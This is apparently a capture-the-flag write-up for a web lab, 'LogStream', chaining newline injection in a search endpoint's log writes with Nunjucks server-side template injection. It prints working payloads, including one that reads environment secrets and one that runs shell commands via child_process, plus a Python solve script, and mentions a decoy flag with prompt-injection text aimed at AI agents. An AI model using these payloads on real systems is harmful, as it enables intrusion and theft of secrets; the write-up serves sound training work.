Lab 337 — LogStream
Lab 337 — LogStream
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-04 | Status: Solved Techniques: crlf_log_injection, environment_variable_disclosure, forged_log_entry_injection, newline_injection_in_query_parameter, nunjucks_ssti_via_renderstring
Summary
Task: Node.js/Express log aggregation platform with Nunjucks templates; search queries logged to file without newline sanitization, system log viewer renders module field via renderString() unsafely. Solution: CRLF injection in search query to forge log entries, then Nunjucks SSTI in module field to execute code and read FLAG from process.env.
Lab 337 — LogStream — CRLF Log Injection to SSTI RCE — HackAdvisor
Description
LogStream is a centralized log aggregation platform used by DevOps teams at StreamOps Technologies to collect, search, and visualize application logs across their infrastructure. The platform provides real-time log streaming from multiple sources (Nginx, Node.js APIs, PostgreSQL, Redis, Kubernetes), advanced search filters, configurable alert rules with threshold detection, and a team-shared system log viewer with syntax highlighting.
As a security researcher, you have been given access to a test account on this platform. Your goal is to find a way to compromise the server and retrieve the flag stored on the system.
Pay close attention to how user input flows through the system — particularly how search queries are processed, logged, and subsequently displayed. Not all rendering pipelines sanitize data the same way.
Credentials: user@test.com / password123
English summary: A Node.js/Express log aggregation platform with Nunjucks templating. Users can search logs via an API endpoint, and all search queries are written to a system log file. A System Log Viewer page reads and renders this log file. The goal is to exploit the data flow from search input → log file → template rendering to achieve RCE and read the flag from the environment.
Analysis
Application Architecture
- Backend: Node.js/Express behind Nginx 1.25.5
- Template engine: Nunjucks (confirmed via system log entry: "Template engine configured: nunjucks")
- Pages: Dashboard
/, Log Streams/streams, Log Search/search, System Logs/admin/logs, Alert Rules/alerts, Settings/settings - Key API endpoint:
GET /api/logs/search?query=TERM— searches logs AND writes the search query to/var/log/logstream.log - System Log Viewer:
/admin/logsreads and renders/var/log/logstream.logwith syntax highlighting
Key Observations
- The search page explicitly states: "All searches are logged for audit purposes" and "Programmatic access available via
GET /api/logs/search?query=" - The challenge description hints: "Not all rendering pipelines sanitize data the same way"
- HTML source contains a decoy/honeypot flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}with prompt injection text designed to trick automated scanners and AI agents — this is FAKE
Vulnerability Chain
Two vulnerabilities chain together:
-
CRLF Log Injection: The
/api/logs/search?query=endpoint writes the search query directly to/var/log/logstream.logwithout sanitizing newline characters (%0a). This allows injecting arbitrary new lines into the log file. -
SSTI in the module field: The System Log Viewer uses
nunjucks.renderString()to format log entries. The module field is directly concatenated into the Nunjucks template string before rendering — without escaping. Other fields likemessageare properly escaped via variable interpolation ({{ entry.message }}). This differential sanitization is the core vulnerability.
Log Format Discovery (Critical Insight)
The log file uses square bracket format: [TIMESTAMP] [LEVEL] [MODULE] MESSAGE
This was the hardest part to discover. Initial attempts using space-separated format (TIMESTAMP LEVEL MODULE MESSAGE) didn't match the log parser's regex, so injected lines were silently dropped by the viewer. Only entries matching the [...] [...] [...] bracket format are parsed and rendered.
Solution
Step 1 — Confirm CRLF Injection
Inject a newline via URL-encoded %0a in the search query:
GET /api/logs/search?query=BEFORE%0aAFTER
Result: "BEFORE" appears as the logged search query on one line; "AFTER" goes to a new line in the raw log file. This confirms newline injection.
Step 2 — Forge a Valid Log Entry
Craft a search query that, after the newline, produces a line matching the log parser's expected format:
GET /api/logs/search?query=x%0a[2026-03-20T10:00:00Z] [ERROR] [TestModule] test message
Visiting /admin/logs shows the forged entry rendered as a legitimate log line with module "TestModule".
Step 3 — Confirm SSTI
Place a Nunjucks expression in the module field position:
GET /api/logs/search?query=x%0a[2026-03-20T10:00:00Z] [ERROR] [{{7*7}}] testmsg
Visiting /admin/logs shows the module field rendered as 49 instead of {{7*7}} — confirming Nunjucks Server-Side Template Injection.
Step 4 — Extract the Flag via RCE
Use Nunjucks SSTI to access Node.js global.process.env.FLAG:
GET /api/logs/search?query=x%0a[2026-03-20T10:00:00Z] [ERROR] [{{"a".constructor.constructor("return global.process.env.FLAG")()}}] rce
Visiting /admin/logs renders the flag FLAG{REDACTED} in the module field of the forged log entry.
Attack Chain Diagram
User search query with %0a newline
↓
/api/logs/search?query=... writes to /var/log/logstream.log
↓
Forged log entry with SSTI payload in [MODULE] field
↓
/admin/logs reads log file, parses entries
↓
nunjucks.renderString() evaluates MODULE field (unsanitized)
↓
{{"a".constructor.constructor("return global.process.env.FLAG")()}}
↓
RCE → reads process.env.FLAG → flag displayed in viewer
Key Payloads
SSTI confirmation:
x%0a[2026-03-20T10:00:00Z] [ERROR] [{{7*7}}] testmsg
Flag extraction (environment variable):
x%0a[2026-03-20T10:00:00Z] [ERROR] [{{"a".constructor.constructor("return global.process.env.FLAG")()}}] rce
Alternative RCE payload (arbitrary command execution):
x%0a[2026-03-20T10:00:00Z] [ERROR] [{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}] rce
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ LogStream — CRLF Log Injection → Nunjucks SSTI → RCE Exploit: Inject forged log entry via newline in search query, SSTI in module field reads process.env.FLAG """ import requests import re import urllib.parse BASE_URL = "http://TARGET:PORT" # 1. Login session = requests.Session() session.post(f"{BASE_URL}/login", data={ "email": "user@test.com", "password": "password123" }) # 2. Inject SSTI payload via CRLF in search query ssti_payload = '{{"a".constructor.constructor("return global.process.env.FLAG")()}}' forged_line = f'[2026-03-20T10:00:00Z] [ERROR] [{ssti_payload}] rce' inject_query = f'x\n{forged_line}' session.get(f"{BASE_URL}/api/logs/search", params={"query": inject_query}) # 3. Read rendered output from system log viewer resp = session.get(f"{BASE_URL}/admin/logs") # 4. Extract flag flag_match = re.search(r'FLAG\{[a-f0-9]+\}', resp.text) if flag_match: print(f"Flag: {flag_match.group()}") else: print("Flag not found in response")